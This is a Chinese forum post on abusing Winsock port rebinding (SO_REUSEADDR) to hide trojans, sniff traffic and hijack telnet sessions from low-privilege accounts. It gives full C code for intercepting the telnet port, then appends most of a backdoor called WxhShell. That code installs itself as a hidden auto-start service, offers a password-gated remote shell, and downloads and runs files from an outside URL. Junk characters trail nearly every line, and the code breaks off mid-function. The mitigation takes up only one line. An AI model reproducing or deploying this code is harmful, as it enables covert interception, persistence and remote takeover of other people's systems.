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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &)ED||r,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \'9(zbvz9  
kuI$VC  
  saddr.sin_family = AF_INET; Q*54!^l+_r  
#i'wDvhol  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vKFEA7  
7zcmv"`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;#XF.l,u  
Z(Z$>P&4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >.1d1#+b  
mTU[khEmL=  
  这意味着什么?意味着可以进行如下的攻击: Tf{lH9ca$  
F"| ;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %u!)1oOIz  
LF X[v   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4L_AhX7  
n3" @E<rW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7I=vgT1F  
l0K_29^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9'Cu9nR  
&\iMIJ-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C1w6[f1+  
me YSW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U_C[9Z'P  
O[j$n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7:'5q]9  
,:6.Gi)|  
  #include JE_GWgwdv  
  #include OD6dMql  
  #include 9yYNX;C  
  #include    <El!,UBq<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZYLPk<<  
  int main() =: =s  
  { &~'^;hy=  
  WORD wVersionRequested; P%y9fU2[  
  DWORD ret; )u=46EU_  
  WSADATA wsaData; U&o ~U] rm  
  BOOL val; d04fj/B  
  SOCKADDR_IN saddr; UWW'[gEP1  
  SOCKADDR_IN scaddr; v`\CzT  
  int err; Mt*eC)~ Yx  
  SOCKET s; q-r5zGI  
  SOCKET sc; =6d'/D#J  
  int caddsize; /}Ct2w&<k  
  HANDLE mt; Q;k D Jo  
  DWORD tid;   @g] >D  
  wVersionRequested = MAKEWORD( 2, 2 ); #SR )tU  
  err = WSAStartup( wVersionRequested, &wsaData ); l<UA0*t  
  if ( err != 0 ) { 4bq+(CI6  
  printf("error!WSAStartup failed!\n"); bo &QKK  
  return -1; [H=l# W@  
  } <Q@{6  
  saddr.sin_family = AF_INET; q22@ZRw  
   H8A=]Gq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h3(B7n7  
us )NgG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $]~|W3\G  
  saddr.sin_port = htons(23); FPkig`(3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `{&l _  
  { 49Hgq/uO  
  printf("error!socket failed!\n"); ~)#xOE}  
  return -1; yHnN7&  
  } *qKf!&  
  val = TRUE; =zRjb>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q@d6P~[-gj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :MILOwF  
  { l:(?|1_  
  printf("error!setsockopt failed!\n"); v M $Tn  
  return -1; 2>vn'sXdj  
  } :auq#$B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -ze@~Z@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @#::C@V]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @5\/L6SRfL  
fl71{jJ_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8nTdZu  
  { bJB* w  
  ret=GetLastError(); *lyRy/POB  
  printf("error!bind failed!\n"); y<^hM6S?Z  
  return -1; i)[~]D.EH8  
  } Q32GI,M%B  
  listen(s,2); D' `[y  
  while(1) xz){RkVzP  
  { @O| l A  
  caddsize = sizeof(scaddr); J\Z\q  
  //接受连接请求 TL@{yJ;s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3gz4c1 s^:  
  if(sc!=INVALID_SOCKET) }b / G{92  
  { fH 0&Wc3yC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WZf}1.Mh*  
  if(mt==NULL) `_E@cZ4  
  { | (: PX  
  printf("Thread Creat Failed!\n"); ,S7M4ajVZB  
  break; V]|P>>`v9p  
  } ^fhkWx4i  
  } Ombvp;  
  CloseHandle(mt); h"(HDnq  
  } }O8#4-E_Ji  
  closesocket(s); Os)}kkja  
  WSACleanup(); ^w~Utx4  
  return 0; ;mXw4_{  
  }   |\/V1  
  DWORD WINAPI ClientThread(LPVOID lpParam) !z_VwZ#,  
  { 5uD'Kd$H  
  SOCKET ss = (SOCKET)lpParam; J-Wphc!m  
  SOCKET sc; FQw@ @  
  unsigned char buf[4096]; !;.nL-NQ  
  SOCKADDR_IN saddr; xmwH~UWp  
  long num; YCu9dBeVS  
  DWORD val; #6za  
  DWORD ret; ("_tML 8/p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "kkZK=}Nv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qW t 9Tr  
  saddr.sin_family = AF_INET; 0 hS(9y40  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jc,{ n*  
  saddr.sin_port = htons(23); 8\rHSsP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pu5-=QN  
  { S@eI3Pk E  
  printf("error!socket failed!\n"); "hXB_73)V  
  return -1; ]`}R,'P  
  } WHv xBd  
  val = 100; e]u3[ao  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r^!P=BS{  
  { &g5+ |g (  
  ret = GetLastError(); pYaq1_<+  
  return -1; P[a\Q`}L  
  } {9YNv<3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C]DvoJmBs  
  { @G0j/@v  
  ret = GetLastError(); e"6!0Py#*  
  return -1; \&5t@sC  
  } s(M8 Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x)!NB99(tC  
  { s9b 6l,Z  
  printf("error!socket connect failed!\n"); Wo~#R   
  closesocket(sc); y1+~IjY  
  closesocket(ss); yf7$m_$C'  
  return -1; MYF6tZ*  
  } nh+f,HtSt  
  while(1) |\S p IFH1  
  { f iu?mb=*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vq1v e;(8s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kc-v(WIC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G9P)Y#WB  
  num = recv(ss,buf,4096,0); nK5FPFz8  
  if(num>0) j?'It`s  
  send(sc,buf,num,0); K(B|o6[  
  else if(num==0) 4^Ghn  
  break; :s`\jJ  
  num = recv(sc,buf,4096,0); }dO^q-t$3  
  if(num>0) ( mKuFz7  
  send(ss,buf,num,0); 7!-y72qx  
  else if(num==0) 0s8w)%4$  
  break; ZdY)&LJ  
  } l-RwCw4f  
  closesocket(ss); "1Oe bo2  
  closesocket(sc); #OVf2  "  
  return 0 ; 3erGTa[|q  
  } 5cE?>  
& !I$  
5rx;?yvn  
========================================================== XB'PEvh8  
by8~'?  
下边附上一个代码,,WXhSHELL oN6X]T<   
01" b9`jU  
========================================================== Zjx:1c= b  
\%+5p"Z<  
#include "stdafx.h" vZl]C%  
qg#|1J6e  
#include <stdio.h> hIv8A_>@`  
#include <string.h> I,d5Y3mC  
#include <windows.h> V,qc[*_3  
#include <winsock2.h> mh=YrDU+L  
#include <winsvc.h> ]~1Xx:X-  
#include <urlmon.h> P\R#!+FgW8  
amH..D7_>  
#pragma comment (lib, "Ws2_32.lib") q:/<^|  
#pragma comment (lib, "urlmon.lib") wio}<Y6Xz  
.y~vn[qN  
#define MAX_USER   100 // 最大客户端连接数 ;VAHgIpx;  
#define BUF_SOCK   200 // sock buffer .#[==  
#define KEY_BUFF   255 // 输入 buffer uWE :3  
\tx4bV#  
#define REBOOT     0   // 重启 3/q) %Z^=  
#define SHUTDOWN   1   // 关机 QBI;aG<+b>  
,aBo p#  
#define DEF_PORT   5000 // 监听端口 BHa'`lCb  
-%eBip,'yl  
#define REG_LEN     16   // 注册表键长度  rr=e  
#define SVC_LEN     80   // NT服务名长度 pZg}7F{$  
nD51,1>  
// 从dll定义API UfWn\*J&k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O>H'o k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yMoV|U6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P 4|p[V8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wjeuZNYf  
OW|5IEC  
// wxhshell配置信息 3EN(Pz L  
struct WSCFG { chF@',9t  
  int ws_port;         // 监听端口 IDIok~B=e  
  char ws_passstr[REG_LEN]; // 口令 M'D l_dx-  
  int ws_autoins;       // 安装标记, 1=yes 0=no "bC1dl<  
  char ws_regname[REG_LEN]; // 注册表键名 k6?;D_dm  
  char ws_svcname[REG_LEN]; // 服务名 [R~`6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M#7w54~b?M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m<X[s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]F4 .m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?\.aq p1B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /:OSql5K*<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z.D O 2=+=  
U$,W/G}m  
}; Lm{qFu  
)Z0bMO<  
// default Wxhshell configuration *VPj BzcH  
struct WSCFG wscfg={DEF_PORT, <_N<L\  
    "xuhuanlingzhe", tr t^o  
    1, EkvTl-  
    "Wxhshell", (:P-ef$]C  
    "Wxhshell", Gjh8>(  
            "WxhShell Service", <X b B;  
    "Wrsky Windows CmdShell Service", mhDC1lXF  
    "Please Input Your Password: ", i=^!? i  
  1, t) :'XGk@  
  "http://www.wrsky.com/wxhshell.exe", il5Qo  
  "Wxhshell.exe" y9xvGr[l  
    }; W#.+C6/  
UTLuzm  
// 消息定义模块 5u89?-UD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P`xQL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^.|P&f~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "h'+!2mf  
char *msg_ws_ext="\n\rExit."; w 4fz!l]  
char *msg_ws_end="\n\rQuit."; P< 5v\\  
char *msg_ws_boot="\n\rReboot..."; 0lm7'H*~  
char *msg_ws_poff="\n\rShutdown..."; H-|%\9&{S  
char *msg_ws_down="\n\rSave to "; z?DI4 O#Up  
ZZu{c t9  
char *msg_ws_err="\n\rErr!"; :+q d>;yf#  
char *msg_ws_ok="\n\rOK!"; '=X)0GG  
 h/*q +H  
char ExeFile[MAX_PATH]; [Ep%9(SgA'  
int nUser = 0; $"P[nNW3  
HANDLE handles[MAX_USER]; lPaTkZw  
int OsIsNt; * ",/7(  
aVvma=  
SERVICE_STATUS       serviceStatus; Id}/(Pkq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A 6IrA/b  
bQlvb  
// 函数声明 LN0pC }F  
int Install(void); /L yoTBG  
int Uninstall(void); BtA_1RO  
int DownloadFile(char *sURL, SOCKET wsh); s ]XZQr%  
int Boot(int flag); / :z<+SCh  
void HideProc(void); x=M%QFe  
int GetOsVer(void); 2t,N9@u=UN  
int Wxhshell(SOCKET wsl); J{!U;r!6  
void TalkWithClient(void *cs); |Fi{]9(G2  
int CmdShell(SOCKET sock); M(/ATOJ(  
int StartFromService(void); W2Ik!wEe&  
int StartWxhshell(LPSTR lpCmdLine); (xdC'@&  
e1OGGF%E n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Vp*,oRL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .US=fWyrb  
Oo0SDWI`(  
// 数据结构和表定义 !7hjA=0  
SERVICE_TABLE_ENTRY DispatchTable[] = 4'wbtE|  
{ TKe\Bi  
{wscfg.ws_svcname, NTServiceMain}, D>fg  
{NULL, NULL} :*} -,{uX  
}; 'EHt A9M  
9,wD  
// 自我安装 4^Y{ BS fF  
int Install(void) e~U]yg5X-  
{ ZQk!Ia7  
  char svExeFile[MAX_PATH]; ZccvZl ;b  
  HKEY key; 9?XQB%44  
  strcpy(svExeFile,ExeFile); xWnOOE$i  
xt&4]M V  
// 如果是win9x系统,修改注册表设为自启动 fg)VO6Wo&  
if(!OsIsNt) { ?:42jp3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T!7B0_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l+A)MJd oj  
  RegCloseKey(key); ;l %$-/%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4`GOBX1b.y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 48IrC_0j  
  RegCloseKey(key); 64i*_\UKe  
  return 0; g7" 2}|qxo  
    } nZ'-3  
  } ?XbM  
} =%ok:+D]  
else { {sfA$ d0  
vh#81}@N7*  
// 如果是NT以上系统,安装为系统服务 er8T:.Py  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ; I;&O5Y  
if (schSCManager!=0) w *M&@+3I  
{ %E\zR/  
  SC_HANDLE schService = CreateService $<QrV,T  
  ( d%za6=M  
  schSCManager, AU1U?En  
  wscfg.ws_svcname, E|vXM"zFl  
  wscfg.ws_svcdisp, Fq$r>tmV  
  SERVICE_ALL_ACCESS, GEK7q<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W#P`Y< u$  
  SERVICE_AUTO_START, j'k <  
  SERVICE_ERROR_NORMAL, `/O AgV"`  
  svExeFile, a$j ~YUG_  
  NULL, Vw|P;LLl`  
  NULL, eaAGlEW6J  
  NULL, [ {$%9lm  
  NULL, \%|Xf[AX  
  NULL <|3%}?  
  ); \XPGA uEo  
  if (schService!=0) <^\rv42'(2  
  { j)2I+[aoB  
  CloseServiceHandle(schService); T8|5%Y  
  CloseServiceHandle(schSCManager); &iInru3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'L7qf'RV  
  strcat(svExeFile,wscfg.ws_svcname); SIV !8mz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h~m,0nGO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G[\TbPh  
  RegCloseKey(key); Z;%uDlcXI  
  return 0; *X(:vET  
    } Km;}xke6  
  } ujRXAN@mC  
  CloseServiceHandle(schSCManager); .G8>UXX  
} $'%GB $.  
} 58Ce>*~  
ov,|`FdU^T  
return 1; y-db CYMc  
} {$,\Qg  
t|$ jgM  
// 自我卸载 $8)XN-%(  
int Uninstall(void) P&uSh?[ ^  
{ )-26(aNGT  
  HKEY key; 7IkPi?&{  
H.m]Dm,z  
if(!OsIsNt) { !JDr58  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;U|(rM;  
  RegDeleteValue(key,wscfg.ws_regname); $uZmIu9Bi+  
  RegCloseKey(key); `R$i|,9 )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vw1>d+<~-)  
  RegDeleteValue(key,wscfg.ws_regname); ?id) 2V0s  
  RegCloseKey(key); 4 kjfYf@A  
  return 0; Ln4]uqMG.  
  } Z^ :_,aJ?  
} 16zReI(  
} V9,<>  
else { cry1gnWG  
9F>`M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -;7xUNQ  
if (schSCManager!=0) "_q~S$i^  
{  SvT0%2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l!f_ +lv  
  if (schService!=0) Qds<j{2  
  { rXi&8R[  
  if(DeleteService(schService)!=0) { "esuLQC  
  CloseServiceHandle(schService); J5G<Y*q  
  CloseServiceHandle(schSCManager); '9zW#b  
  return 0; n@8Y6+7i  
  } 0&UG=q  
  CloseServiceHandle(schService); x ;|HT  
  } TKR#YJQ?K  
  CloseServiceHandle(schSCManager); $<v4c5r]O  
} ^e8xg=8(  
} -K'UXoU1  
UZI:st   
return 1; o]q~sJVk6  
} WR{m?neE_N  
*S ag  
// 从指定url下载文件 F:!6B b C  
int DownloadFile(char *sURL, SOCKET wsh) B/wD~xC?x  
{ ) 2Ei<  
  HRESULT hr; "pM >TMAE  
char seps[]= "/"; @."K"i'Bl  
char *token; w.q`E@ T*  
char *file; =&z+7Pe[  
char myURL[MAX_PATH]; 2y - QH  
char myFILE[MAX_PATH]; &VGV0K3 Dp  
uu.X>agg  
strcpy(myURL,sURL); bzFac5n)Q  
  token=strtok(myURL,seps); _y~6b{T  
  while(token!=NULL) L5bq\  
  { SBreA-2  
    file=token; FJc8g6M  
  token=strtok(NULL,seps); 7|5kak>=  
  } 8ttJ\m  
]q1w@)]n}  
GetCurrentDirectory(MAX_PATH,myFILE); J"C9z{[Z&  
strcat(myFILE, "\\"); 9"S2KT@8  
strcat(myFILE, file); Y~vk>ZC  
  send(wsh,myFILE,strlen(myFILE),0); H?=W]<!W{y  
send(wsh,"...",3,0); :1A:g^n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W3,r@mi^s7  
  if(hr==S_OK) 4Y8=  
return 0; : :>|[ND  
else X5iD <Lh  
return 1; b*n3Fej  
p< 7rF_?W0  
} 4Hz3 KKu  
4 neZw'm  
// 系统电源模块 C}h(WOcr`X  
int Boot(int flag) 93]63NY  
{ 0`x>p6.)G  
  HANDLE hToken; AkQ(V  
  TOKEN_PRIVILEGES tkp; R! M'  
@D;K&:~|N  
  if(OsIsNt) { \p(S4?I7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !, BJO3&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d_25]B(  
    tkp.PrivilegeCount = 1; $`|h F[tv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G<?RH"RZr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); peVY2\1>R  
if(flag==REBOOT) { cg8/v:B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n+8YTjd  
  return 0; 1Vy8eI`4  
} LO_Xr j  
else { uVqc:Q"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KNeVSZT  
  return 0; h>`[p,o  
} H1k)ya x4_  
  } RnkV)ed(  
  else { zIF1A*UH  
if(flag==REBOOT) { %@PcQJg U<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N/o?\q8  
  return 0; dHY@V> D'-  
} 16 AlmegDk  
else { > SZ95@Oh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;5/Se"Nd  
  return 0; w5i*pOG)Z  
} 8WytvwB}  
} ]V/5<O1  
=8l' [  
return 1; DghyE`  
} 0kUhz\"R:q  
&`m.]RV  
// win9x进程隐藏模块 'l/l]26rO4  
void HideProc(void) u0wu\  
{ j EbmW*   
1|p\rHGd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;l;jTb^l  
  if ( hKernel != NULL ) "Erphn  
  { NuO@N r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )j8'6tk)Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oc"p5Y3,Os  
    FreeLibrary(hKernel); Zna6-0o  
  } ~;HASHu  
[\ku,yd%0  
return; \;-Yz  
} niS\0ZA  
YMw,C:a4  
// 获取操作系统版本 t XzuP_0  
int GetOsVer(void) <IZr..|O  
{ t 9(,JC0  
  OSVERSIONINFO winfo; q,sO<1wAT\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D!* SA  
  GetVersionEx(&winfo); 3mo<O}}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gkK(7=r%  
  return 1; :tV"uWZFU  
  else PlCw,=K8f  
  return 0; 2_Lu 0Yrg  
} Lj /^cx  
W(qK?"s2  
// 客户端句柄模块 LiEEQ  
int Wxhshell(SOCKET wsl) 9+(b7L   
{ %{ U (y#  
  SOCKET wsh; @^0}wk  
  struct sockaddr_in client; !v3d:n\W8  
  DWORD myID; |$tF{\  
\/dOv [  
  while(nUser<MAX_USER) p_xJ KQS  
{ %5L~&W}^"  
  int nSize=sizeof(client); l%V+] skS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ."Pn[$'.  
  if(wsh==INVALID_SOCKET) return 1; Ks3YrKk;p  
&LV'"2ng8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z&@P<  
if(handles[nUser]==0) HE*^!2f  
  closesocket(wsh); bv7)[,i  
else V~Guw[RA  
  nUser++; Vb\^xdL>  
  } #pWy%U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r6D3u(kMb  
|xb;#ruR6  
  return 0; "vYjL&4h  
} N8T.Ye N  
s|WcJV  
// 关闭 socket QfjoHeG7  
void CloseIt(SOCKET wsh) * r4FOA%P  
{ >]B_+r0m^  
closesocket(wsh);  2X`t&zg  
nUser--; 7yG%E  
ExitThread(0); rXSw@pqZ&  
} hB 'rkjt  
k'v+/6 Y  
// 客户端请求句柄 mb'{@  
void TalkWithClient(void *cs) ^!m%:r7Dr  
{ l(MjLXw5  
W^W.* ?e`  
  SOCKET wsh=(SOCKET)cs; D!,'}G #  
  char pwd[SVC_LEN]; P/S,dhs(  
  char cmd[KEY_BUFF];  de8xl  
char chr[1]; >8NUji2I  
int i,j; S!-t{Q+j^  
 v?d`fd  
  while (nUser < MAX_USER) { 9QD+  
4[Ko|  
if(wscfg.ws_passstr) { G_WFg$7G%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #.FhN x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (R s;+S  
  //ZeroMemory(pwd,KEY_BUFF); &/Gf@[  
      i=0; 3W[||V[r]<  
  while(i<SVC_LEN) { \0*dKgN  
_+Z;pt$C  
  // 设置超时 i1{)\/f3  
  fd_set FdRead; ^Ux.s Q  
  struct timeval TimeOut; 8VpmcGvc3  
  FD_ZERO(&FdRead); ;5|d[r}k3  
  FD_SET(wsh,&FdRead); ow+_g R-  
  TimeOut.tv_sec=8; D3tcwjXoW_  
  TimeOut.tv_usec=0; $;";i:H`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O*F= xG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N+]HJ`K  
6 {`J I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FrRUAoF O  
  pwd=chr[0]; A(XX2f!i  
  if(chr[0]==0xd || chr[0]==0xa) { }Oe4wEYN)  
  pwd=0; -g"Wi@Qr  
  break; >N0L  
  } 1n)YCSA  
  i++; Bi/E{k,  
    } tH vP0RxM  
)*}?EI4.  
  // 如果是非法用户,关闭 socket V2yX;u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G[d]t$f=  
} T7Y+ WfYh  
$|@-u0sv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;iN [du  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1yS: `  
'^Q$:P{G?  
while(1) { *\0h^^|@  
x9]vhR/av  
  ZeroMemory(cmd,KEY_BUFF); A0ZU #"'/  
Q{ g{  
      // 自动支持客户端 telnet标准   eS%8WmCV9<  
  j=0; fG@]G9Z  
  while(j<KEY_BUFF) { ] P_yN:~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zq$0 ?vGd  
  cmd[j]=chr[0]; bdBLfWe  
  if(chr[0]==0xa || chr[0]==0xd) { ;e2D}  
  cmd[j]=0; .8|"@  
  break; qP9`p4c8i  
  } b$/7rVH!  
  j++; y?iW^>|?L=  
    } a0k/R<4  
q:wz!~(>  
  // 下载文件 (AG((eV  
  if(strstr(cmd,"http://")) { &jrc]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7a4Z~r27/  
  if(DownloadFile(cmd,wsh)) 8qUNh#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#!AfTY$w  
  else .| :R#VW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4`sW_ ks  
  } kb\\F:w(W  
  else { H=XdgOui  
eV9,G8  
    switch(cmd[0]) { 0,cU^HMA  
  ?%T]V+40  
  // 帮助 E]pD p /D  
  case '?': { j^/^PUR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z>*\nomOn=  
    break; TQpR'  
  } EQy~ ^7V B  
  // 安装 c&g*nDuDj  
  case 'i': { 0.~s>xXp  
    if(Install()) E,/nK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QwnqysNx4  
    else S`h yRw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Fh:z4  
    break; =s:Z-*vy!  
    } V|2[>\Cv  
  // 卸载 z|<?=c2P  
  case 'r': { ^_=bssaOd  
    if(Uninstall()) b:x~Jz#%2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8wCB}qC  
    else  ,}^FV~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rz<'& Z>;  
    break; "!#KQ''R  
    } H96|{q=  
  // 显示 wxhshell 所在路径 Jb|dpu/e  
  case 'p': { k7nke^,|  
    char svExeFile[MAX_PATH]; dFk$rr>q  
    strcpy(svExeFile,"\n\r"); #_'^oGz`  
      strcat(svExeFile,ExeFile); h\|T(597.  
        send(wsh,svExeFile,strlen(svExeFile),0); >4?735f=x  
    break; 6"2IV  
    } 8&y#LeM1TT  
  // 重启 W#L/|K!S  
  case 'b': { T9YrB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QOv@rP/  
    if(Boot(REBOOT)) w*7wSP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dd:48sN:Jq  
    else { b}ODc]3  
    closesocket(wsh); (I#3![q  
    ExitThread(0); >B$B|g~  
    } MVDy|i4  
    break; X(;W Y^i!  
    } PSU}fo  
  // 关机 Bf$` Hf6  
  case 'd': { wd2z=^S~  
